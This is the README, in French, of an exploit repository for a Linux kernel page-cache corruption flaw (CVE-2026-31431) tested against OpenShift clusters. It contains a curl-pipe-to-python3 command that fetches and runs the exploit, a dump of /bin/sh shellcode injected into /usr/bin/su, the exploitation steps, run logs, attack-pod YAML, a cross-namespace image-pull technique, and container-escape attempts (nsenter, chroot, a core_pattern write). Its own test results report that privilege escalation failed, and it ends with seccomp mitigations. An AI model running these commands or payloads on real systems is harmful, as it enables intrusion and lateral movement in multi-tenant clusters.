
Exploit pour le noyau Linux CVE-2026-31431 provoquant une corruption du cache de pages via une manipulation AEAD authencesn, ciblant l'élévation de privilèges dans les conteneurs et les environnements OpenShift.
Corruption du cache de pages du noyau Linux via la manipulation AEAD authencesn.
Après des tests approfondis sur plusieurs clusters OpenShift 4.20.16 avec les noyaux RHEL 9.6 :
Voir la section Résultats de tests complets pour tous les détails.
CVE-2026-31431 est une vulnérabilité du noyau Linux dans l'implémentation cryptographique AEAD authencesn qui permet à des processus non privilégiés de corrompre le cache de pages de fichiers lisibles via les sockets AF_ALG et la manipulation de l'appel système splice().
Les tests montrent : La corruption du cache de pages fonctionne de manière fiable, mais l'élévation de privilèges ne se produit PAS sur les noyaux RHEL 9.6 dans nos environnements de test.
Score CVSS : 7,8 (Élevé)
Affecté : Versions du noyau Linux avec prise en charge d'authencesn (2017-2026)
Divulgation publique : 29 avril 2026
splice() via ctypes/usr/bin/su)curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su
### Depuis un fichier local```bash
python3 exploit.py
su
Ce qui se produira :``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation
[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!
[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)
**Vérification du cache de pages (confirme la corruption) :**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000 31 c0 31 ff b0 69 0f 05 48 8d 3d 0f 00 00 00 31 |1.1..i..H.=....1|
00000010 f6 6a 3b 58 99 0f 05 31 ff 6a 3c 58 0f 05 2f 62 |.j;X...1.j<X../b|
00000020 69 6e 2f 73 68 |in/sh|
# Shellcode IS present in page cache ✅
Ce qui ne se produira PAS (d'après les tests) :```bash
su
id -u
**Conclusion :** La corruption du cache de pages réussit, mais l'élévation de privilèges échoue.
## Détails techniques
### Vulnérabilité
L'implémentation de `authencesn` (Authenticated Encryption with Associated Data - Extended Sequence Number) du noyau Linux présente une faille dans sa gestion des opérations en place. Lors du traitement des opérations AEAD soumises via une socket AF_ALG, une page du cache de pages peut se retrouver dans la liste de scatter-gather de destination accessible en écriture du noyau.
### Technique d'exploitation
1. **Créer une socket AF_ALG** avec `authencesn(hmac(sha256),cbc(aes))`
2. **Configurer les paramètres AEAD** (clé, authsize)
3. **Ouvrir le binaire setuid cible** (par exemple, `/usr/bin/su`)
4. **Utiliser splice()** pour placer le binaire dans le cache de pages
5. **Déclencher une opération AEAD en place** provoquant une écriture dans le cache de pages
6. **Écrire le shellcode** 4 octets à la fois
7. **Exécuter le binaire modifié** pour obtenir les droits root
### Shellcode
L'exploit utilise un shellcode de 160 octets qui modifie `/usr/bin/su` afin de :
- Contourner l'authentification par mot de passe
- Accorder un accès à un shell root
- Conserver un fonctionnement normal pour les utilisateurs non privilégiés
## Compatibilité Python 3.9
Python 3.9 et les versions antérieures ne disposent pas de `os.splice()` dans la bibliothèque standard. Cet exploit inclut une implémentation basée sur ctypes :```python
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
class off64_t(ctypes.c_int64):
pass
libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t
def splice(src, dst, count, offset_src=None, offset_dst=None):
# Wrapper matching Python os.splice() API
...
This makes the exploit work on:
Node Configuration:
Test Results:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)
### Environnement de test 2 : Nouveau cluster OpenShift (test de vérification)
**Cluster :** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**Configuration du nœud :**
- Kernel : 5.14.0-570.96.1.el9_6.x86_64 (identique au test 1)
- OpenShift : 4.20.16
- SCC : restricted-v2 (vérifié)
- UID : 1000810000 (espace de noms utilisateur)
- Capacités : 0x0000000000000000 (ZÉRO)
**Résultats des tests :**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1)
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)
Cohérence : résultats 100 % reproductibles sur des clusters indépendants
Scénario A : Avec volume hostPath (évasion de conteneur possible)```yaml volumes:
Résultat : ✅ **Évasion de conteneur** - modifie le cache de pages de l'hôte (Device 33, Inode 4288)
**Scénario B : SCC Restricted-v2 (sans hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
capabilities:
drop: [ALL]
Résultat : ❌ Pas d'évasion de conteneur - n'affecte que l'overlay du conteneur (inode séparé)
Constat critique : l'accès hostPath (et non les capacités) est le facteur déterminant pour l'évasion de conteneur.
Explications possibles (nécessitent des recherches supplémentaires) :
Chemins de code Lecture vs Exécution
mmap(PROT_READ)mmap(PROT_EXEC) peuvent contourner le cache corrompuProtections mémoire
Spécifique à la version du noyau
| Test | OpenShift 4.20 #1 | OpenShift 4.20 #2 | Statut |
|---|---|---|---|
| Accès au socket AF_ALG | ✅ | ✅ | Fonctionne |
| Corruption du cache de pages | ✅ | ✅ | Fonctionne |
| Injection de shellcode | ✅ | ✅ | Fonctionne |
| Shellcode visible (READ) | ✅ | ✅ | Fonctionne |
| Changement d'UID (élévation de privilèges) | ❌ | ❌ | Échoue |
| Exécution de code | ❌ | ❌ | Échoue |
| Évasion de conteneur (restricted-v2) | ❌ | ❌ | Bloqué |
Conclusion : La vulnérabilité du noyau est réelle (corruption du cache de pages prouvée), mais l'exploitation pratique est limitée.
| Système | Noyau | Corruption du cache de pages | Élévation de privilèges | Notes |
|---|---|---|---|---|
| RHEL CoreOS 9.6 | 5.14.0-570.96.1.el9_6 | ✅ OUI | ❌ NON | Workers OpenShift 4.20.16 |
| Conteneurs OpenShift 4.20 | 5.14.0-570.96.1.el9_6 | ✅ OUI | ❌ NON | SCC restricted-v2 |
Remarque : Tests limités aux noyaux RHEL 9.6. Le comportement sur d'autres distributions/versions n'a pas été vérifié.
Testé avec succès sur un cluster OpenShift 4.20 exécutant RHEL CoreOS 9.4. Cette section documente le contournement de l'isolation des namespaces et la compromission du conteneur.
⚠️ Correction importante : Les tests initiaux affirmaient à tort un accès au système de fichiers hôte via /proc/1/root. C'était incorrect - /proc/1/root dans un conteneur isolé pointe vers le système de fichiers du conteneur lui-même, et non vers l'hôte du nœud worker OpenShift. Voir attacks/README.md pour une analyse détaillée.
Restricted Pod → Namespace Breakout → Attack Pod → CVE-2026-31431 → Root in Container → Network Reconnaissance → Lateral Movement Attempts
### Phase 1 : Contournement de l'isolation des espaces de noms
**Vulnérabilité :** Le registre interne d'OpenShift autorise les extractions d'images entre espaces de noms sans application correcte du RBAC.
**Exploitation :**```bash
# Enumerate images in privileged namespaces
oc get imagestreams -n openshift
oc get imagestreams -n redhat-ods-applications
# Create pod with stolen tools
cat > attack-demo.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
name: attack-demo
namespace: user-srickerd
spec:
containers:
- name: stolen-tools
image: image-registry.openshift-image-registry.svc:5000/openshift/cli:latest
command: ["sleep", "3600"]
EOF
oc apply -f attack-demo.yaml
Résultat :
openshift/cli extraite depuis le namespace openshiftImpact : Permet un mouvement latéral entre locataires et un accès à des outils privilégiés.
Déploiement :```bash
oc exec -n user-srickerd attack-demo -- bash -c " curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 && su "
**Résultat :**```
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[+] Opened /usr/bin/su (fd=3)
[+] Shellcode size: 160 bytes
[+] Patching /usr/bin/su in page cache...
Written 160/160 bytes...
[+] Page cache patching complete!
[+] Executing modified su...
Capacités après l'exploitation :
Vérification de la réalité - /proc/1/root n'est PAS l'hôte :```bash
stat -c '%i' /tmp/test.txt
stat -c '%i' /proc/1/root/tmp/test.txt
readlink /proc/self/ns/mnt readlink /proc/1/ns/mnt
**Détails du système d'exploitation du conteneur :**```
NAME="Red Hat Enterprise Linux"
VERSION="9.4 (Plow)"
Based on: openshift/cli container image
Running on: RHEL CoreOS 9.4 worker node (inaccessible)
Kernel: 5.14.0-570.96.1.el9_6.x86_64 (shared, not accessible)
Scripts créés dans le conteneur (disponibles dans le répertoire attacks/) :
1. Reconnaissance du conteneur (recon.sh - 1425 octets)
2. Script de mouvement latéral (lateral.sh - 1754 octets)
3. Tentatives d'exploitation de l'hôte échouées
host-rootkit.py - Tente de backdoorer /proc/1/root/usr/bin/su
modprobe-escape.py - Tente une évasion par module noyau
trigger-rootkit.sh - Déclenche le su backdooré
Voir attacks/README.md pour l'analyse complète de ce qui a fonctionné par rapport à ce qui n'a pas fonctionné.
Test de connectivité :```bash
curl -s https://www.google.com
**Opportunités de mouvement latéral :**
- ✅ Accès internet complet (téléchargement d'outils, communication C2, exfiltration)
- ✅ Accès aux API internes (énumération des ressources du cluster)
- ✅ Accès au registre interne (attaques par empoisonnement d'images)
- ✅ Scan inter-nœuds via le réseau de pods
### Techniques d'évasion d'hôte bloquées
Ces techniques ont été tentées mais bloquées par les contrôles de sécurité OpenShift :
**1. nsenter (empêché par l'espace de noms utilisateur)**```bash
nsenter --target 1 --mount --uts --ipc --net /bin/bash
# Error: reassociate to namespace 'ns/ipc' failed: Operation not permitted
2. chroot (Nécessite CAP_SYS_CHROOT)```bash chroot /proc/1/root /bin/bash
**3. Chargement de modules du noyau (Aucune capacité + durcissement RHCOS)**
- Pas de binaires `insmod`, `modprobe`, `kmod` sur RHCOS
- `/lib/modules` est vide (système d'exploitation optimisé pour les conteneurs)
- `CAP_SYS_MODULE` n'est pas disponible
- `/proc/sys/kernel/modprobe` monté en lecture seule
**4. cgroup release_agent (Monté en lecture seule)**```bash
mount | grep cgroup
# cgroup2 on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec)
5. Manipulation de /proc/sys (système de fichiers en lecture seule)```bash echo "/tmp/evil.sh" > /proc/sys/kernel/core_pattern
### Ce que nous avons réellement accompli
✅ **Contournement de l'isolation des espaces de noms**
- Récupération d'images depuis un registre interne entre espaces de noms
- Accès aux images de conteneurs privilégiés (openshift/cli)
✅ **Corruption du cache de pages dans le conteneur**
- Modification du cache de pages de `/usr/bin/su` du conteneur via CVE-2026-31431
- Injection de shellcode de 160 octets confirmée (visible dans le hexdump)
- La corruption affecte les opérations de LECTURE sur les fichiers du conteneur
✅ **Accès réseau depuis le pod**
- Connectivité Internet complète (exfiltration, C2, téléchargement d'outils)
- Accès au serveur API interne (limité par RBAC)
- Accès au registre interne (potentiel d'empoisonnement d'images)
- Scan entre pods via le réseau de pods
❌ **Élévation de privilèges - ÉCHEC**
- Cache de pages corrompu mais AUCUN accès root obtenu
- UID inchangé (UID de l'espace de noms utilisateur ~1000000+)
- Impossible d'exécuter des opérations privilégiées
- Aucun accès à /etc/shadow ou autres fichiers restreints
❌ **Accès au système de fichiers hôte - ÉCHEC**
- `/proc/1/root` pointe vers la racine du **conteneur**, PAS celle de l'hôte
- Aucun accès réel au système de fichiers du nœud worker OpenShift
- Scripts déployés dans `/tmp` du conteneur, pas dans `/tmp` de l'hôte
- L'isolation des périphériques/inodes empêche l'accès au cache de pages de l'hôte
❌ **Évasion complète de l'hôte - BLOQUÉE**
- Isolation de l'espace de noms utilisateur efficace
- Zéro capacité empêche nsenter/chroot/l'accès à l'hôte
- SCC bloque la création de pods privilégiés
- Le durcissement RHCOS empêche le chargement de modules
- restricted-v2 empêche l'évasion du conteneur
### Évaluation de la sécurité OpenShift
**Contrôles qui ont fonctionné ✅**
- Contraintes de contexte de sécurité (SCC) - Ont empêché l'évasion du conteneur
- Espaces de noms utilisateur - Cache de pages isolé dans l'overlay du conteneur
- Zéro capacité - Ont empêché l'accès à l'hôte malgré l'exploit du noyau
- Application de SELinux - Isolation du conteneur maintenue
- /proc/sys en lecture seule - Tentatives de manipulation du noyau bloquées
- Durcissement RHCOS - Aucune capacité de chargement de modules
**Contrôles qui ont partiellement fonctionné ⚠️**
- Seccomp RuntimeDefault - Actif mais autorise les sockets AF_ALG
- Suppression des capacités - Efficace mais n'empêche pas la corruption du cache de pages
**Contrôles qui ont échoué ❌**
- RBAC des espaces de noms - Récupération d'images entre espaces de noms autorisée
- Protection du noyau - Interface AF_ALG accessible depuis les conteneurs
- Filtrage des appels système - splice() non restreint par seccomp par défaut
**Évaluation globale :**
Bien que CVE-2026-31431 soit une véritable vulnérabilité du noyau, l'approche de défense en profondeur d'OpenShift (SCC + espaces de noms utilisateur + suppression des capacités + isolation du système de fichiers) a empêché toute exploitation significative. L'exploit corrompt le cache de pages mais n'obtient AUCUNE élévation de privilèges ni évasion du conteneur depuis les pods restricted-v2.
### Recommandations pour OpenShift
**1. Bloquer les sockets AF_ALG**```yaml
securityContext:
seccompProfile:
type: Localhost
localhostProfile: profiles/no-af-alg.json
2. Appliquer le RBAC du registre d'images```bash
oc policy add-role-to-user system:image-puller
--namespace=
**3. Profil Seccomp amélioré**
Bloquer les appels système dangereux :
- `socket(AF_ALG, ...)` - Famille 38
- Restreindre `splice()` aux descripteurs de fichiers de confiance
- Bloquer `init_module`, `finit_module` s'ils ne sont pas déjà bloqués
**4. Surveillance à l'exécution**
Alerter sur :
- Création de sockets AF_ALG dans les conteneurs
- Téléchargements d'images inter-namespaces
- Modèles d'appels système `splice()` suspects
- Indicateurs de compromission de conteneur (processus root inattendus)
### Documentation complète de l'attaque
Pour la documentation complète de la chaîne d'attaque, y compris :
- Chronologie de l'exploitation
- Correspondances MITRE ATT&CK
- Analyse technique détaillée
- Tous les scripts de reconnaissance
Voir :
- **[attacks/README.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/attacks/README.md)** - Analyse détaillée de ce qui a fonctionné vs ce qui n'a pas fonctionné
- **[docs/openshift-attack-chain.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/docs/openshift-attack-chain.md)** - Documentation originale (contient des erreurs, voir attacks/README.md pour les corrections)
## Atténuations
### Immédiates```bash
# Blacklist the vulnerable module
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead
Bloquer la création de socket AF_ALG :```json { "defaultAction": "SCMP_ACT_ALLOW", "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{"index": 0, "value": 38, "op": "SCMP_CMP_EQ"}] }] }
### Correctif du noyau
Appliquez les correctifs du fournisseur :
- Red Hat : Surveillez https://access.redhat.com/security/cve/cve-2026-31431
- Ubuntu : `apt update && apt upgrade linux-image-*`
- En amont : Noyau 6.x+ avec authencesn revenu aux opérations hors place
## Questions fréquemment posées
### Q : Cet exploit me donne-t-il un accès root ?
**R :** NON - Sur la base de tests approfondis sur les noyaux RHEL 9.6 (5.14.0-570.96.1), l'exploit corrompt avec succès le cache de pages du noyau mais n'obtient PAS d'élévation de privilèges. L'UID reste inchangé après l'exécution du binaire backdooré.
### Q : Puis-je m'échapper d'un conteneur Kubernetes/OpenShift restreint ?
**R :** NON (avec SCC restricted-v2) - La corruption du cache de pages est isolée au système de fichiers overlay du conteneur. L'évasion de conteneur nécessite un accès aux ressources hôtes partagées via hostPath ou des volumes similaires. La SCC restricted-v2 empêche efficacement l'évasion en bloquant l'accès aux ressources hôtes.
### Q : Pourquoi l'exploit prétend-il donner "root" alors que les tests montrent qu'il ne fonctionne pas ?
**R :** Le code de l'exploit a été écrit sur la base de la divulgation CVE et d'une analyse théorique. Nos tests en conditions réelles sur les noyaux RHEL 9.6 ont révélé :
- La corruption du cache de pages fonctionne ✅ (prouvée via hexdump)
- L'exécution de code depuis le cache corrompu ne fonctionne PAS ❌ (UID inchangé)
Cela peut être dû à :
- Des différences de version du noyau (RHEL 9.6 peut avoir des protections)
- L'application de la protection mémoire W^X
- Des chemins de code différents entre mémoire d'exécution et mémoire de lecture
### Q : Cela fonctionne-t-il sur TOUS les noyaux Linux ?
**R :** INCONNU - Les tests ont été limités à :
- RHEL CoreOS 9.6 (noyau 5.14.0-570.96.1.el9_6.x86_64)
- Nœuds de travail OpenShift 4.20.16
Le comportement sur d'autres distributions/versions de noyau n'a PAS été vérifié. Les conditions de recherche originales de la CVE peuvent différer.
### Q : Dois-je quand même corriger mes systèmes ?
**R :** OUI - Absolument. Même si l'élévation de privilèges n'a pas été obtenue :
1. La vulnérabilité du noyau EST réelle (corruption du cache de pages confirmée)
2. Le comportement PEUT différer sur d'autres versions de noyau
3. Avec les volumes hostPath, l'évasion de conteneur EST possible
4. La défense en profondeur exige d'éliminer toutes les vulnérabilités
5. Des recherches futures pourraient découvrir des moyens d'obtenir l'exécution de code
Le correctif du noyau est obligatoire pour la sécurité.
### Q : Qu'avez-vous réellement prouvé lors de vos tests ?
**R :** Nos tests complets sur 2 clusters OpenShift indépendants ont prouvé :
✅ **Confirmé :**
- La vulnérabilité du noyau CVE-2026-31431 est exploitable
- Le cache de pages peut être corrompu depuis des conteneurs non privilégiés (zéro capacité)
- L'interface AF_ALG est accessible malgré la SCC restricted-v2
- L'injection de shellcode réussit (visible dans hexdump)
❌ **N'a PAS fonctionné :**
- L'élévation de privilèges (UID inchangé)
- L'exécution de code depuis le cache de pages corrompu
- L'évasion de conteneur depuis les pods restricted-v2
- L'accès au système de fichiers hôte sans hostPath
🛡️ **Défense en profondeur efficace :**
- SCC + espaces de noms utilisateur + suppression des capacités ont empêché l'exploitation
- De multiples couches de sécurité ont limité le rayon d'explosion
- L'isolation des conteneurs a tenu malgré la vulnérabilité du noyau
## Avis de sécurité
Ce dépôt documente une vulnérabilité du noyau pour :
- ✅ Les tests et recherches de sécurité autorisés
- ✅ La validation et l'analyse de vulnérabilités
- ✅ La sensibilisation et l'éducation à la sécurité
- ✅ Le développement de mesures défensives
**Résultats basés sur :**
- Des tests contrôlés sur des systèmes autorisés
- De multiples environnements de clusters indépendants
- Des tests complets de vérification et de reproductibilité
**Ne pas utiliser sur des systèmes sans autorisation explicite.**
## Références
- **CVE :** https://nvd.nist.gov/vuln/detail/CVE-2026-31431
- **Divulgation :** https://copy.fail
- **Correctif du noyau :** Commit du noyau Linux (1er avril 2026)
- **Avis Red Hat :** https://access.redhat.com/security/cve/cve-2026-31431
## Crédits
- **Découverte de la CVE :** Taeyang Lee (Theori)
- **Analyse originale :** Xint Code Research Team
- **Implémentation de l'exploit :** Sean Rickerd
- **Tests et validation complets :** Sean Rickerd
- 2 clusters OpenShift 4.20.16 indépendants
- Noyau RHEL CoreOS 9.6 5.14.0-570.96.1
- Comportement réel vs. revendiqué documenté
- Efficacité de la SCC restricted-v2 vérifiée
## Licence
Pour les tests et recherches de sécurité autorisés uniquement. Utilisation à vos propres risques.
---
**Statut du dépôt :** Mis à jour avec les résultats de tests en conditions réelles (1er mai 2026)
**Tests :** Terminés sur 2 clusters OpenShift indépendants
**Constat clé :** Corruption du cache de pages confirmée, élévation de privilèges NON obtenue
**Recommandation :** Corriger le noyau malgré l'exploitation pratique limitée